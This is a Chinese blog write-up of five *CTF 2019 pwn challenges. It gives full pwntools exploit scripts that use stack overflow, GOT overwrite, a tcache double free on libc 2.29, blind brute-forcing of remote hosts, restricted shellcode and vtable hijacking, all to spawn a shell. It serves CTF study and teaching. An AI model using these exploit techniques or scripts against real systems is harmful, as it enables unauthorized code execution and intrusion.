ZoE

个人站

Pwn的挖坑填坑之旅


starctf2019--pwn WriteUp

starctf2019–pwn WriteUp

pwn

quicksort

gets危险函数明显栈溢出,s与ptr的距离是0x1c,可以通过gets函数直接改写ptr来泄露地址,利用puts泄露libc地址,然后再改写__stack_chk_fail_got直接getshell。

详细代码如下:

from pwn import *
local = 0

if local:
	p = process("./quicksort")
	libc = ELF("/lib/i386-linux-gnu/libc.so.6")
else:
	p = remote("34.92.96.238",10000)
	libc = ELF("libc.so.6")

elf = ELF("quicksort")
atoi_got = 0x0804A038
free_got = elf.got["free"]
print hex(free_got)
free_plt = elf.plt["free"]
puts_plt = elf.plt["puts"]
__stack_chk_fail_got = elf.got["__stack_chk_fail"]
print hex(__stack_chk_fail_got)
start = 0x080489C9

bss = 0x0804A0b0
def exp():
	p.recv()
	p.sendline(str(2))
	
	
	p.recv()
	payload = str(puts_plt)
	payload = payload.ljust(0x10,"\x00")
	payload += p32(0x64) + p32(0) + p32(0) + p32(free_got)
	p.sendline(payload)
	
	p.recv()
	payload = str(start)
	payload = payload.ljust(0x10,"\x00")
	payload += p32(0x64) + p32(0) + p32(0) + p32(__stack_chk_fail_got)
	p.sendline(payload)
	
	p.recv()
	payload = str(puts_plt)
	payload = payload.ljust(0x10,"\x00")
	payload += p32(0x0) + p32(0) + p32(0) + p32(free_got) + "aaaa"
	p.sendline(payload)
	
	p.recvuntil(":\n\n")
	p.recvn(4)
	data = u32(p.recvn(4))
	libc_base = data - libc.symbols["getchar"]
	system = libc_base + libc.symbols["system"]
	binsh = libc_base +next(libc.search('/bin/sh')) 
	
	print hex(data)
	print hex(libc_base)
	print hex(system)
	print hex(binsh)
	
	p.recv()
	p.sendline(str(2))
	
	p.recv()
	payload = str(puts_plt)
	payload = payload.ljust(0x10,"\x00")
	payload += p32(0x64) + p32(0) + p32(0) + p32(__stack_chk_fail_got)
	p.sendline(payload)
	#gdb.attach(p,"b *0x8048920")
	p.recv()
	payload = str(puts_plt)
	payload = payload.ljust(0x10,"\x00")
	payload += p32(0x0) + p32(0) + p32(0) + p32(bss) + "aaaa" +"bbbb" + "cccc" + "dddd"+ p32(system) + p32(0) + p32(binsh)
	p.sendline(payload)
	
	p.interactive()

exp()

girlfriend

这道题的bug不难找,直接就是释放后没有删除指针可以进行double free。但是难点在于环境是libc2.29,这道题的环境是在ubuntu19.04下做了,比赛的时候辗转16.04和18.04都很难受,后来专门查了libc2.29的特点是,在free 放到tcache里面的时候检查了double free,但是当我们可以用tcache链表大小只有7个的特点,先把他填满再做double free。下面我用调试的方法来解释这道题的做法,过程中可以体会到tcache的一些特殊的机制。

调试过程

首先是泄露地址,有两个办法,一个是申请一个大于0x408的再free就不会放到tcache上,而是放到smallbin(?)里面。另外一个是申请超过7个大于fastbin的堆块(9个),然后再free掉7个八tcache填满,再free两个的时候就会放到unsortedbin里面去,再show就有libc了。下面做一些相关知识介绍: tcache有两个重要的函数, tcache_get() tcache_put()

static void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

static void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

这两个函数的会在函数 _int_free __libc_malloc 的开头被调用,其中 tcache_put 当所请求的分配大小不大于0x408并且当给定大小的 tcache bin 未满时调用。一个 tcache bin 中的最大块数mp_.tcache_count是7。

泄露地址:

# 法一:
create(0x440,"1"*0x100,"AAA") #0-8 #0 a big enough chunk won't in tcache.
create(0x18,"1"*0x100,"AAA") #1
free(0)
show(0)
p.recvuntil("name:\n")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc.address = leak  - (0x7fae5b0eeca0 - 0x7fae5af0a000)
one_gadget = libc.address  + 0xdf991
free_hook = libc.sym['__free_hook']
malloc_hook = libc.sym['__malloc_hook']
system = libc.sym['system']

# 法二:
for i in range(9):
	create(0x100,"1"*0x100,"AAA") #0-8
for i in range(9):
	free(i)
show(7)
p.recvuntil("name:\n")
data = u64(p.recvuntil("\n",drop=True)+"\x00\x00")

利用思路:先创建多个堆块,再free只要达到把tcache的7个位置填满,然后还有剩余两个没有被free的堆块做double free就会把堆块放到fastbin上面去了,就可以成功double free了。此时堆的情况如下:

gdb-peda$ heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x56340041e610 --> 0x56340041e580 --> 0x56340041e610 (overlap chunk with 0x56340041e610(freed) )
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x56340041ec90 (size : 0x20370) 
       last_remainder: 0x56340041e6a0 (size : 0x20) 
            unsortbin: 0x0
(0x70)   tcache_entry[5](6): 0x56340041eb60 --> 0x56340041e500 --> 0x56340041e470 --> 0x56340041e3e0 --> 0x56340041e350 --> 0x56340041e2c0

double free:

for i in range(9):
	create(0x68,"1"*0x68,"AAA") #3-11
for i in range(7):
	free(i+3) # 3-9

create(0x68,"1"*0x68,"AAA") #12
create(0x68,"1"*0x68,"AAA") #13

# fill the chunk
free(10)
free(11)
# double free
free(12)
free(13)
#pause()
free(12)

如果此时再创建新的chunk的话,会先从tcache里面去拿而不是fastbin里,所以要先add 7 个新的chunk,然后再劫持fd进行利用攻击。这里是直接malloc到__free_hook,改__free_hook为system然后free掉一个内容为/bin/sh\x00的堆块即可getshell。

等等,你还有疑问?为什么能直接malloc到__free_hook?不是会检查堆头吗?好吧其实是这样的,当add完七个chunk之后再创建新的chunk的时候,它会去fastbin去找,当找到一个适合的时候,他会把整个链表到全部放到tcache里面,并把fastbin清空。所以当后面分配的时候其实就是通过tcache分配,而tcache分配又有一个特点就是他不会检查堆头,所以我们分配到哪里都可以的啦。

利用:

for i in range(7):
	create(0x68,"1"*0x68,"AAA") # 14-20  add 7 tcache chunk

create(0x68,p64(free_hook),"AAA") #21
create(0x68,"3"*0x60,"AAA") #22
create(0x68,"/bin/sh\x00","AAA") #23
create(0x68,p64(system),"AAA") #24
free(23)

下面做一些知识介绍:

关于内存申请: 在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中。 (1)首先,申请的内存块符合 fastbin 大小时并且找到在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中。 (2)其次,申请的内存块符合 smallbin 大小时并且找到在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中。 (3)当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理。

关于内存申请的检查部分: 当tcache存在时,释放堆块没有对堆块的前后堆块进行合法性校验,只需要构造本块对齐就可以成功将任意构造的堆块释放到tcache中,而在申请时,tcache对内部大小合适的堆块也是直接分配的,并且对于在tcache内任意大小的堆块管理方式是一样的,导致常见的house_of_spirit可以延伸到smallbin。

详细代码如下:

from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
local = 1

if local:
	p = process("./chall")
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
	p = remote("34.92.96.238",10001)
	#libc = ELF("libc.so.6")

elf = ELF("chall")

def create(size,name,call):
	p.recvuntil("choice:")
	p.sendline("1")
	p.recvuntil("name\n")
	p.sendline(str(size))
	p.recvuntil("name:\n")
	p.send(name)
	p.recvuntil("call:\n")
	p.send(call)	
	sleep(0.1)

def show(index):
	p.recvuntil("choice:")
	p.sendline("2")
	p.recvuntil("index:\n")
	p.sendline(str(index))

def free(index):
	p.recvuntil("choice:")
	p.sendline("4")
	p.recvuntil("index:\n")
	p.sendline(str(index))

'''
debug info
bb 0xCB9
bb 0xEEC

'''

create(0x440,"1"*0x100,"AAA") #0-8 #0 a big enough chunk won't in tcache.
create(0x18,"1"*0x100,"AAA") #1
free(0)
show(0)
p.recvuntil("name:\n")
leak = u64(p.recv(6).ljust(8,'\x00'))
libc.address = leak  - (0x7fae5b0eeca0 - 0x7fae5af0a000)
one_gadget = libc.address  + 0xdf991
free_hook = libc.sym['__free_hook']
malloc_hook = libc.sym['__malloc_hook']
system = libc.sym['system']
print("[+] leak: " + str(hex(leak)))
print("[+] leak: " + str(hex(libc.address)))
print("[+] one_gadget: " + str(hex(one_gadget)))
print("[+] system: " + str(hex(libc.sym['system'])))
print("[+] free_hook: " + str(hex(libc.sym['__free_hook'])))
print("[+] malloc_hook: " + str(hex(libc.sym['__malloc_hook'])))
create(0x440,"1"*0x100,"AAA") #2 fill it 
#pause()

for i in range(9):
	create(0x68,"1"*0x68,"AAA") #3-11

for i in range(7):
	free(i+3) # 3-9

create(0x68,"1"*0x68,"AAA") #12
create(0x68,"1"*0x68,"AAA") #13

# fill the chunk
free(10)
free(11)
# double free
free(12)
free(13)
#pause()
free(12)

for i in range(7):
	create(0x68,"1"*0x68,"AAA") # 14-20  add 7 tcache chunk

pause()
create(0x68,p64(free_hook),"AAA") #21
create(0x68,"3"*0x60,"AAA") #22
create(0x68,"/bin/sh\x00","AAA") #23
create(0x68,p64(system),"AAA") #24
free(23)

p.interactive()

blindpwn

这是一道没有给程序的盲pwn,主要思路就是通过爆破低位来找到返回值特殊的值,比如打印两次提示,打印栈上内容等来找到调用read的地方,找到返回值,找到初始地址。下面给出爆破程序:

#!/usr/bin/env python
# coding=utf-8

from pwn import *
#context.log_level = "debug"
i = 0x11
"""
07 : \x0a  \x0f  \x14  \x76  \x20  \x07  \x40  \x70  \x05  \x40
05 : \x15  \x1c   \x1e  \xf   \x20  \x21  \x26  
"""
while i < 256:
	while True:
		try:
			p = remote("34.92.37.22",10000)
			break
		except:
			continue
	p.recv()
 	payload = "a"*40+p64(0x400520)+p64(0x400776)*i
	p.send(payload)
	print chr(i).encode("hex")
	try:
		sleep(1)
		data = p.recv()
		if len(data)>0x1b:
			i = i + 1 
			print len(data)
			print data
			p.close()
			continue
		else:
			i = i + 1
			p.close()
			continue
	except:
		i = i + 1
		p.close()
		continue
print i

通过爆破可以知道得到有几个地址可以泄露栈上内容的,即可以得到libc的,再而如果能同时泄露并能返回到read让我们再读入一次就能成功getshell了。之后我们得到两个比较特殊的地址分别是0x400520和0x400776,他们两个相差距离,根据经验和打印的内容,可以猜测因为rsi没有改变,而rdx(打印长度)为0x100,刚好就是read的时候的长度,所以0x400520可能是write或者是某个打印函数的plt表,0x400776则是在程序段中code段的call调用函数,然后做了一些尝试,如下构造可以泄露并二次输入,最后第二次输入的时候直接one_gadget即可。

p = remote("34.92.37.22",10000)
p.recv()
payload = "a"*40+p64(0x400520)+p64(0x400776)*17
p.send(payload)
p.recvuntil("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")
data1 = p.recvn(0xa8)
data2 = u64(p.recvn(8))
print hex(data2)
libc_base = data2 - 0x5f1168
one_shot = libc_base + 0xf02a4

sleep(1)
p.recvuntil("elcome to this blind pwn!\n")
payload = "b"*40 + p64(one_shot) + p64(0)*0x30
p.send(payload)

p.interactive()

babyshell

题目mmap分配了一段rwx权限的内存块出来,并可以读取0x100的内容(shellcode),最后执行该buf的内容。在执行之前会检查我们的shellcode是否满足他的要求,即要求用题目给出的机器码组成shellcode来执行,其中过滤了“/”,“b”还有“\x48”等重要的机器码。要求使用的机器码如下:

[0x5A, 0x5A, 0x4A, 0x20, 0x6C, 0x6F, 0x76, 0x65, 0x73, 0x20, 0x73, 0x68, 0x65, 0x6C, 0x6C, 0x5F, 0x63, 0x6F, 0x64, 0x65, 0x2C, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x65, 0x72, 0x65, 0x20, 0x69, 0x73, 0x20, 0x61, 0x20, 0x67, 0x69, 0x66, 0x74, 0x3A, 0x0F, 0x05, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x20, 0x69, 0x74, 0x21, 0x0A]

但是我们有push有pop还有syscall,就能控制一些寄存器,但是我们不能控制rax。然后因为刚程序中调用完read,我们就可以先执行read的syscall,再调用一次读入,好处在于第二次读入的时候就不需要做检查,即绕过的题目的要求,这样我们第二次读入的东西就没有限制了。就可以直接getshell。

详细代码如下:

#!/usr/bin/env python
# coding=utf-8
from pwn import *


p = process("shellcode")
#p = remote("34.92.37.22",10002)
shellcode = "\x6a\x79\x5a\x6a\x00\x5f\x0f\x05"
gdb.attach(p," b *0x4008cb")
print shellcode.encode("hex")
p.recv()

p.send(shellcode)
pause()
sleep(0.1)
payload = "/bin/sh\x00" + "\x56\x5f\x6a\x00\x5e\x6a\x00\x5a\x0f\x05"
payload = payload.ljust(0x3b,"\x00")
p.send(payload)
p.interactive()

upxofcpp

参考链接:https://github.com/sixstars/starctf2019/tree/master/pwn-upxofcpp https://xz.aliyun.com/t/5006#toc-14

这道题在比赛的时候没有做出来,其中主要是看cpp代码很难受,不过也算看懂了大概,但是实在是没有注意到heap还是rwx的。。。 小知识点: 用upx打包的程序,你会发现许多rwx内存区域,包括堆(加壳的程序中堆是rwx的) Refer : https://github.com/upx/upx/issues/81

利用思路

  • upx加壳,主程序空间可读可写可执行
  • free的时候没有清空指针
  • node结构体中存在指向函数调用的func_table,通过构造使得func_table指到堆,使得*func_table的show函数指向堆上,在show函数指向的堆上构造shellcode
  • 补充:主要是伪造vtable,通过free之后的fastbin指向地址伪造vtable,其中vtable地址偏移0x10就是call show的相关函数,劫持这个0x10的偏移位heap地址,即劫持到show的控制流从而跳转到heap上去执行代码,而heap上市rwx所以就可以直接执行shellcode

下面是vtable的情况:

.data.rel.ro:0000000000202DB8 vtable          dq offset default       ; DATA XREF: add+1B9↑o
.data.rel.ro:0000000000202DC0                 dq offset remove_helper
.data.rel.ro:0000000000202DC8                 dq offset show_helper

调试方法

使用加壳的文件getshell,使用已经脱壳的文件进行调试即可。

调试过程

new(0,2,2)
p.sendlineafter('Your choice:','1')
p.sendlineafter('Index:','1')
p.sendlineafter('Size:',str(6))
'''
push rax
pop rsi
push rcx
push rcx
pop rax
pop rdi
syscall
'''
payload = '0\n'*2 + str(0x51515e50)+'\n' + str(0x53415f58)+'\n' + str(0x00050f5a) +'\n' + str(0xdead)+'\n'
p.sendafter('Input 6 integers, -1 to stop:',payload)
new(2,2,2)

before free(1)

gdb-peda$ x /30xg 0x5616d5cfec10
0x5616d5cfec10:	0x0000000000000000	0x0000000000000021
0x5616d5cfec20:	0x00005616d4a56db8	0x00005616d5cfec40
0x5616d5cfec30:	0x0000000000000002	0x0000000000000021
0x5616d5cfec40:	0x0000000200000002	0x0000000000000000
0x5616d5cfec50:	0x0000000000000000	0x0000000000000021
0x5616d5cfec60:	0x00005616d4a56db8	0x00005616d5cfec80
0x5616d5cfec70:	0x0000000000000006	0x0000000000000021
0x5616d5cfec80:	0x0000000000000000	0x53415f5851515e50
0x5616d5cfec90:	0x0000dead00050f5a	0x0000000000000021
0x5616d5cfeca0:	0x00005616d4a56db8	0x00005616d5cfecc0
0x5616d5cfecb0:	0x0000000000000002	0x0000000000000021
0x5616d5cfecc0:	0x0000000200000002	0x0000000000000000
0x5616d5cfecd0:	0x0000000000000000	0x0000000000020331
0x5616d5cfece0:	0x0000000000000000	0x0000000000000000
0x5616d5cfecf0:	0x0000000000000000	0x0000000000000000

after free(1)

gdb-peda$ x /30xg 0x5616d5cfec10
0x5616d5cfec10:	0x0000000000000000	0x0000000000000021
0x5616d5cfec20:	0x00005616d4a56db8	0x00005616d5cfec40
0x5616d5cfec30:	0x0000000000000002	0x0000000000000021
0x5616d5cfec40:	0x0000000200000002	0x0000000000000000
0x5616d5cfec50:	0x0000000000000000	0x0000000000000021
0x5616d5cfec60:	0x00005616d5cfec70	0x00005616d5cfec80 
0x5616d5cfec70:	0x0000000000000006	0x0000000000000021
0x5616d5cfec80:	0x0000000000000000	0x53415f5851515e50
0x5616d5cfec90:	0x0000dead00050f5a	0x0000000000000021
0x5616d5cfeca0:	0x00005616d4a56db8	0x00005616d5cfecc0
0x5616d5cfecb0:	0x0000000000000002	0x0000000000000021
0x5616d5cfecc0:	0x0000000200000002	0x0000000000000000
0x5616d5cfecd0:	0x0000000000000000	0x0000000000020331
0x5616d5cfece0:	0x0000000000000000	0x0000000000000000
0x5616d5cfecf0:	0x0000000000000000	0x0000000000000000

after free(0)

gdb-peda$ x /50xg 0x5616d5cfec10
0x5616d5cfec10:	0x0000000000000000	0x0000000000000021
0x5616d5cfec20:	0x00005616d5cfec30	0x00005616d5cfec40
0x5616d5cfec30:	0x0000000000000002	0x0000000000000021
0x5616d5cfec40:	0x00005616d5cfec70	0x0000000000000000
0x5616d5cfec50:	0x0000000000000000	0x0000000000000021
0x5616d5cfec60:	0x00005616d4a56db8	0x00005616d5cfece0
0x5616d5cfec70:	0x0000000000000008	0x0000000000000021
0x5616d5cfec80:	0x0000000000000000	0x53415f5851515e50
0x5616d5cfec90:	0x0000dead00050f5a	0x0000000000000021
0x5616d5cfeca0:	0x00005616d4a56db8	0x00005616d5cfecc0
0x5616d5cfecb0:	0x0000000000000002	0x0000000000000021
0x5616d5cfecc0:	0x0000000200000002	0x0000000000000000
0x5616d5cfecd0:	0x0000000000000000	0x0000000000000031
0x5616d5cfece0:	0x0000000200000002	0x0000000200000002
0x5616d5cfecf0:	0x0000000200000002	0x0000000200000002
0x5616d5cfed00:	0x0000000000000000	0x0000000000020301

利用程序:

free(1)
new(3,8,2)
free(0)
show(0)

最后再覆盖写一次syscall读东西到heap上执行完后直接getshell,这一步主要是方面写shellcode,不用拆成几个int来一点点写。

p.send('\x90'*0x90 + asm(shellcraft.sh()))

把文件改成没有脱壳的文件,运行成功getshell。

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦